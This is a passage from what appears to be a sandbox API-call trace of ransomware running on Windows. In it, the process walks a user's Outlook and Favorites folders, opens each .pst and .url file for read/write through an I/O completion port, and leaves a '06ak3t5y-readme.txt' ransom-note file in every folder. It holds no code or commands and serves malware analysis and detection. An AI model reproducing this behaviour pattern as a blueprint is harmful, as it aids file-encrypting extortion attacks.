CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.085] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4744070) returned 1 [0111.085] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545744d0, ftCreationTime.dwHighDateTime=0x1d75665, ftLastAccessTime.dwLowDateTime=0x3ae9eda0, ftLastAccessTime.dwHighDateTime=0x1d7576d, ftLastWriteTime.dwLowDateTime=0x3ae9eda0, ftLastWriteTime.dwHighDateTime=0x1d7576d, nFileSizeHigh=0x0, nFileSizeLow=0x1069d, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="zar5gyqrxi.gif", cAlternateFileName="ZAR5GY~1.GIF")) returned 0 [0111.085] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.086] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086438) returned 1 [0111.086] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0111.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3f6b900, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3f6b900, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.086] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x3f6b900, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3f6b900, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.087] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6b900, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3f6b900, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3f8b4d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.087] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 1 [0111.087] PathFindExtensionW (pszPath="franc@gdllo.de.pst") returned=".pst" [0111.087] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x42550) returned 0x4754868 [0111.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Outlook Files\\franc@gdllo.de.pst" (normalized: "c:\\users\\keecfmwgj\\documents\\outlook files\\franc@gdllo.de.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3f0 [0111.095] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x84) returned 0x30a9870 [0111.096] CreateIoCompletionPort (FileHandle=0x3f0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.096] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4754868) returned 1 [0111.096] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d7697b0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x4d7697b0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x3aa38830, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="franc@gdllo.de.pst", cAlternateFileName="FRANC@~1.PST")) returned 0 [0111.097] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.097] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208eb28) returned 1 [0111.097] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040150) returned 1 [0111.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Links\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ff1d70, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ff1d70, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.097] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ff1d70, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ff1d70, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.097] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ff1d70, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ff1d70, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ff6b90, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.097] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xcee0b100, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.098] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0111.098] PathFindExtensionW (pszPath="web slice gallery.url") returned=".url" [0111.098] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x232) returned 0x397e2a0 [0111.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3f4 [0111.098] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367abd8 [0111.100] CreateIoCompletionPort (FileHandle=0x3f4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.100] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397e2a0) returned 1 [0111.100] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ef07f70, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="web slice gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0111.100] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.101] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee8f0) returned 1 [0111.101] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402e0) returned 1 [0111.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ff92a0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ff92a0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.101] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ff92a0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ff92a0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.101] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ff92a0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ff92a0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffb9b0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.102] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee50dc0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0111.102] PathFindExtensionW (pszPath="ie add-on site.url") returned=".url" [0111.102] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x459f828 [0111.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3f8 [0111.102] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8e) returned 0x2078200 [0111.104] CreateIoCompletionPort (FileHandle=0x3f8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.126] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x459f828) returned 1 [0111.127] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee4e6b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0111.127] PathFindExtensionW (pszPath="ie site on microsoft.com.url") returned=".url" [0111.127] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x459fa08 [0111.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x3fc [0111.128] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa2) returned 0x36787f8 [0111.132] CreateIoCompletionPort (FileHandle=0x3fc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.132] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x459fa08) returned 1 [0111.132] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee55be0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0111.133] PathFindExtensionW (pszPath="microsoft at home.url") returned=".url" [0111.133] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x459fbe8 [0111.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x404 [0111.134] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x94) returned 0x207fb60 [0111.137] CreateIoCompletionPort (FileHandle=0x404, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.137] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x459fbe8) returned 1 [0111.137] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0111.137] PathFindExtensionW (pszPath="microsoft at work.url") returned=".url" [0111.138] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x459fdc8 [0111.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x408 [0111.139] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x94) returned 0x207fc00 [0111.141] CreateIoCompletionPort (FileHandle=0x408, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.142] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x459fdc8) returned 1 [0111.142] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0111.142] PathFindExtensionW (pszPath="microsoft store.url") returned=".url" [0111.143] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d6) returned 0x4796dc0 [0111.143] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x40c [0111.176] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x90) returned 0x2078298 [0111.178] CreateIoCompletionPort (FileHandle=0x40c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.179] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4796dc0) returned 1 [0111.179] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="microsoft store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0111.179] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.180] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20865d8) returned 1 [0111.180] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040300) returned 1 [0111.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.180] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.180] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe0c0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.181] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0111.181] PathFindExtensionW (pszPath="msn autos.url") returned=".url" [0111.181] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x4796fa0 [0111.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x410 [0111.216] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0c80 [0111.218] CreateIoCompletionPort (FileHandle=0x410, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.218] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4796fa0) returned 1 [0111.218] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a2a610, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a2a610, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0111.218] PathFindExtensionW (pszPath="msn entertainment.url") returned=".url" [0111.218] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x4797180 [0111.219] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x414 [0111.228] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x30a9900 [0111.230] CreateIoCompletionPort (FileHandle=0x414, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.231] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4797180) returned 1 [0111.231] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799b81f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0111.231] PathFindExtensionW (pszPath="msn money.url") returned=".url" [0111.231] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x4797360 [0111.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x418 [0111.232] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x78) returned 0x36a0c00 [0111.262] CreateIoCompletionPort (FileHandle=0x418, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.263] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x4797360) returned 1 [0111.263] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, 